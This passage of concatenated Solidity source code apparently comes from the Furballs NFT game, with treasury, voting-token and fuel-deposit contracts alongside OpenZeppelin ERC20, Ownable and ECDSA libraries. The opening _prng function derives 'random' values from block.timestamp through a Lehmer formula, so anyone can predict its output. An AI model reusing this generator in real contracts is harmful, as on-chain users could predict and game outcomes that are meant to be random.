LAST; } /// @notice A PRNG based upon a Lehmer (Park-Miller) method /// @dev https://en.wikipedia.org/wiki/Lehmer_random_number_generator function _prng(uint32 seed) internal view returns (uint256) { unchecked { uint256 nonce = seed == 0 ? uint32(block.timestamp) : seed; return (nonce * 48271) % 0x7fffffff; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurProxy.sol"; import "./FurLib.sol"; import "../Furballs.sol"; /// @title Stakeholders /// @author LFG Gaming LLC /// @notice Tracks "percent ownership" of a smart contract, paying out according to schedule /// @dev Acts as a treasury, receiving ETH funds and distributing them to stakeholders abstract contract Stakeholders is FurProxy { // stakeholder values, in 1/1000th of a percent (received during withdrawls) mapping(address => uint64) public stakes; // List of stakeholders. address[] public stakeholders; // Where any remaining funds should be deposited. Defaults to contract creator. address payable public poolAddress; constructor(address furballsAddress) FurProxy(furballsAddress) { poolAddress = payable(msg.sender); } /// @notice Overflow pool of funds. Contains remaining funds from withdrawl. function setPool(address addr) public onlyOwner { poolAddress = payable(addr); } /// @notice Changes payout percentages. function setStakeholder(address addr, uint64 stake) public onlyOwner { if (!_hasStakeholder(addr)) { stakeholders.push(addr); } uint64 percent = stake; for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] != addr) { percent += stakes[stakeholders[i]]; } } require(percent <= FurLib.OneHundredPercent, "Invalid stake (exceeds 100%)"); stakes[addr] = stake; } /// @notice Empties this contract's balance, paying out to stakeholders. function withdraw() external gameAdmin { uint256 balance = address(this).balance; require(balance >= FurLib.OneHundredPercent, "Insufficient balance"); for (uint256 i=0; i<stakeholders.length; i++) { address addr = stakeholders[i]; uint256 payout = balance * uint256(stakes[addr]) / FurLib.OneHundredPercent; if (payout > 0) { payable(addr).transfer(payout); } } uint256 remaining = address(this).balance; poolAddress.transfer(remaining); } /// @notice Check function _hasStakeholder(address addr) internal view returns(bool) { for (uint256 i=0; i<stakeholders.length; i++) { if (stakeholders[i] == addr) { return true; } } return false; } // ----------------------------------------------------------------------------------------------- // Payable // ----------------------------------------------------------------------------------------------- /// @notice This contract can be paid transaction fees, e.g., from OpenSea /// @dev The contractURI specifies itself as the recipient of transaction fees receive() external payable { } } // SPDX-License-Identifier: BSD-3-Clause /// @title Vote checkpointing for an ERC-721 token /// @dev This ERC20 has been adopted from /// https://github.com/nounsDAO/nouns-monorepo/blob/master/packages/nouns-contracts/contracts/base/ERC721Checkpointable.sol /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // Community.sol uses and modifies part of Compound Lab's Comp.sol: // https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/Governance/Comp.sol // // Comp.sol source code Copyright 2020 Compound Labs, Inc. licensed under the BSD-3-Clause license. // With modifications by Nounders DAO. // // Additional conditions of BSD-3-Clause can be found here: https://opensource.org/licenses/BSD-3-Clause // // MODIFICATIONS // Checkpointing logic from Comp.sol has been used with the following modifications: // - `delegates` is renamed to `_delegates` and is set to private // - `delegates` is a public function that uses the `_delegates` mapping look-up, but unlike // Comp.sol, returns the delegator's own address if there is no delegate. // This avoids the delegator needing to "delegate to self" with an additional transaction // - `_transferTokens()` is renamed `_beforeTokenTransfer()` and adapted to hook into OpenZeppelin's ERC721 hooks. pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./FurLib.sol"; /// @title Community /// @author LFG Gaming LLC /// @notice This is a derived token; it represents a weighted balance of the ERC721 token (Furballs). /// @dev There is no fiscal interest in Community. This is simply a measured value of community voice. contract Community is ERC20 { /// @notice A record of each accounts delegate mapping(address => address) private _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } constructor() ERC20("FurballsCommunity", "FBLS") { } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)'); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @notice The votes a delegator can delegate, which is the current balance of the delegator. * @dev Used when calling `_delegate()` */ function votesToDelegate(address delegator) public view returns (uint96) { return safe96(balanceOf(delegator), 'Community::votesToDelegate: amount exceeds 96 bits'); } /** * @notice Overrides the standard `Comp.sol` delegates mapping to return * the delegator's own address if they haven't delegated. * This avoids having to delegate to oneself. */ function delegates(address delegator) public view returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } /// @notice Sets the addresses' standing directly function update(FurLib.Account memory account, address addr) external returns (uint256) { require(false, 'NEED SECURITY'); // uint256 balance = balanceOf(addr); // if (standing > balance) { // _mint(addr, standing - balance); // } else if (standing < balance) { // _burn(addr, balance - standing); // } } /** * @notice Adapted from `_transferTokens()` in `Comp.sol` to update delegate votes. * @dev hooks into OpenZeppelin's `ERC721._transfer` */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { super._beforeTokenTransfer(from, to, amount); require(from == address(0), "Votes may not be traded."); /// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation _moveDelegates(delegates(from), delegates(to), uint96(amount)); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { if (delegatee == address(0)) delegatee = msg.sender; return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), 'Community::delegateBySig: invalid signature'); require(nonce == nonces[signatory]++, 'Community::delegateBySig: invalid nonce'); require(block.timestamp <= expiry, 'Community::delegateBySig: signature expired'); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, 'Community::getPriorVotes: not yet determined'); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); uint96 amount = votesToDelegate(delegator); _moveDelegates(currentDelegate, delegatee, amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, 'Community::_moveDelegates: amount underflows'); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, 'Community::_moveDelegates: amount overflows'); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, 'Community::_writeCheckpoint: block number exceeds 32 bits' ); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "../utils/FurProxy.sol"; /// @title Fuel /// @author LFG Gaming LLC /// @notice Simple tracker for how much ETH a user has deposited into Furballs' pools, etc. contract Fuel is FurProxy { mapping(address => uint256) public tank; uint256 public conversionRate = 100000000000; constructor(address furballsAddress) FurProxy(furballsAddress) { } /// @notice Change ETH/Fuel ratio function setConversion(uint256 rate) external gameModerators { conversionRate = rate; } /// @notice Direct deposit function /// @dev Pass zero address to apply to self function deposit(address to) external payable { require(msg.value > 0, "VALUE"); if (to == address(0)) to = msg.sender; tank[to] += msg.value / conversionRate; } /// @notice Sends payout to the treasury function settle(uint256 amount) external gameModerators { if (amount == 0) amount = address(this).balance; furballs.governance().treasury().transfer(amount); } /// @notice Increases balance function gift(address[] calldata tos, uint256[] calldata amounts) external gameModerators { for (uint i=0; i<tos.length; i++) { tank[tos[i]] += amounts[i]; } } /// @notice Decreases balance. Returns the amount withdrawn, where zero indicates failure. /// @dev Does not require/throw, but empties the balance when it exceeds the requested amount. function burn(address from, uint256 amount) external gameModerators returns(uint) { return _burn(from, amount); } /// @notice Burn lots of fuel from different players function burnAll( address[] calldata wallets, uint256[] calldata requestedFuels ) external gameModerators { for (uint i=0; i<wallets.length; i++) { _burn(wallets[i], requestedFuels[i]); } } /// @notice Internal burn function _burn(address from, uint256 amount) internal returns(uint) { uint256 bal = tank[from]; if (bal == 0) { return 0; } else if (bal > amount) { tank[from] = bal - amount; } else { amount = bal; tank[from] = 0; } return amount; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * 